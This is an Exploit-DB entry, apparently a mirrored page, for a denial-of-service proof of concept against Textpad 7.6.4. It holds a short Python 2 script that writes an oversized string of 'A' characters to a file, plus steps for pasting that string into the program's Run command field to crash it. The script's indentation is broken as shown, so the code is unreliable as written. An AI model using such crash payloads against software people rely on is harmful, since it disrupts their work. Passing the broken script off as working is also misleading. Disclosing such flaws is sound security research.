Textpad 7.6.4 – Denial Of Service (PoC)

  • 作者: Gionathan Reale
    日期: 2018-08-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45238/
  • # Exploit Title: Textpad 7.6.4 - Denial Of Service (PoC)
    # Author: Gionathan "John" Reale
    # Discovey Date: 2018-08-22
    # Homepage: https://textpad.com
    # Software Link: https://textpad.com/download/v76/win32/txpeng764-32.zip
    # Tested Version: 7.6.4
    # Tested on OS: Windows 7 32-bit
    # Steps to Reproduce: Run the python exploit script, it will create a new 
    # file with the name "exploit.txt" just copy the text inside "exploit.txt"
    # and start the program. In the new window click "Tools" > "Run...". Now paste the content of 
    # "exploit.txt" into the fields:"Command". Click "OK" and you will see a crash.
    
    #!/usr/bin/python
     
    buffer = "A" * 6000
    
    payload = buffer
    try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
    except:
    print "File cannot be created"